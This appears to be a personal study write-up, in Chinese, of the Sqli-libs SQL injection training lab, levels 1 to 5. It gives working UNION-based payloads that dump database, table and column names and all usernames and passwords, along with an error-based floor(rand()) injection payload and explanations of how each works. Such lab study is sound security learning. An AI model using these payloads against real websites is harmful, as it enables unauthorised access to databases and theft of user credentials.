Sqli-libs学习
太久没有做过web方面的学习了,准备重新复习一下。
靶场:Sqli-libs
基础篇
Sql 注入的形成主要原因是由于对于用户输入的数据没有进行有效的转义和过滤,导致其插入Sql语句中并被执行。
PHP:转义函数:magic_quotes_gpc
、magic_quotes_runtime
、magic_quotes_sybase
,这些函数会把用户输入的数据进行转义,例如 "'"被转义成"\'"
常用闭合语句:
- ?id = 1 '#
- ?id = 1 #
- ?id = 1')#
- ?id = 1'))#
常用函数:
- group_concat()
- sleep()
- updatexml()
MySql注释符有--#
,-- (后面有空格)(也就是--+)
,/**/
Test 1 Union 字符注入
Sql语句:"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
-
首先,利用?id = 1 and 1=2测试是否为数值查询。如果回显正常,则说明不是数值查询。如果回显不正常,则1 and 1=2 ==》false=0。
-
利用?id = 1' ,测试是否存在SQL字符注入。当用户输入含有'时,Sql语句无法闭合,因此会报错。
-
接下来,我们需要逃逸出Sql字符串。首先要闭合引号,其次需要将后面的字符串语句注释掉。使用
--+
对字符串进行截断。不使用#的原因:传输过程对单引号还有空格进行了url编码。原来是#号没了,为什么呢?因为url中的#号代表html页面中的锚点,数据传输过程并不会一起带到后端
-
使用
order by
来对查询返回的数据数目。order by
n ` ---- n行数据 n为最大回显正常数字利用语句:?id = 1 ' order by 3
组合后的Sql语句:
SELECT * FROM users WHERE id = '1'order by 3 --+ LIMIT 0,1
-
测试出一共有几列数据之后,改变语句:
?id=-1 union select 1,2,3 --+
语句解析:
-
id = -1 --联合查询后两个查询结构合并输出。但是这个结果只能显示第一个,因此需要让前一个查询结果为空值。
-
union --联合查询
-
select 1,2,3 -- 利用1,2,3 测试出数据返回的数据在页面的位置
-
可以看到只有2,3在页面出现,因此可以使用2,3这两个位置。
6. 构造字符串查询数据库名、表名、列名、字段信息。
从information_schema中获取所有的数据库名:
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
从information_schema中获取security所有表名:
?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
从information_schema中获取列名:
?id=-1 union select 1,(select group_concat(column_name) from information_schema.cloumns where table_name = 'users')--+
查询所有用户名和密码
?id=-1 union select 1, (select group_concat(username) from security.users), (select group_concat(password) from security.users) --+
Test 2 Union 整数注入
整数注入与字符注入几乎相似,但是对于注入点的测试有点不同
-
数字型注入测试:?id = 2 and 1=2 ==》?id=0 返回为空,?id=2-1 ==》?id=1正常显示
-
test 2注入没有逗号,不需要闭合,可以直接进行注入
Test3 Union string注入
这题与前两题类似,所不同的是字符串闭合方式。这题采用的是('')闭合字符串。闭合后其注入方式与前两题类似。
Test4 Union String注入2
本题的字符串闭合方式是(""),字符串闭合之后,接下来的注入所使用payload与上题一致。
Test 5 报错注入
此题的页面没有查询结果的回显,因此无法使用union查询,一般使用报错注入
-
通过floor报错:
and (select 1 from (select count(*),concat((payload), floor(rand(0)*2))x from information_schema.tables group by x )a)
原理:
-
floor()函数==》 返回小于等于该值的最大整数,或者说向下取整,保留整数部分。
-
rand(0) 用来生成0或者1。rand(0)相当于给rand()函数传递了一个参数。rand会根据这个0随机生成数字。rand()是没有规律的,rand(0)是有规律的。rand(0)是稳定的,每次注入都会报错。
-
我们使用group by进行分组查询的时候,数据库会生成一张虚拟表。在这张虚表中,group by 后面的字段作为主键。因此会因为主键重复报错。group by首先获取group by 后面的值,第二次是将group by 后面的字段插入到虚拟表中。这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。
payload:
?id=1' and (select 1 from (select count(*), concat((select concat(schema_name,';') from information_schema.schemata limit 0,1), floor(rand(0)*2))x from information_schema.tables group by x )a)--+
group_concat()函数的作用:将返回信息拼接成一行显示
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
-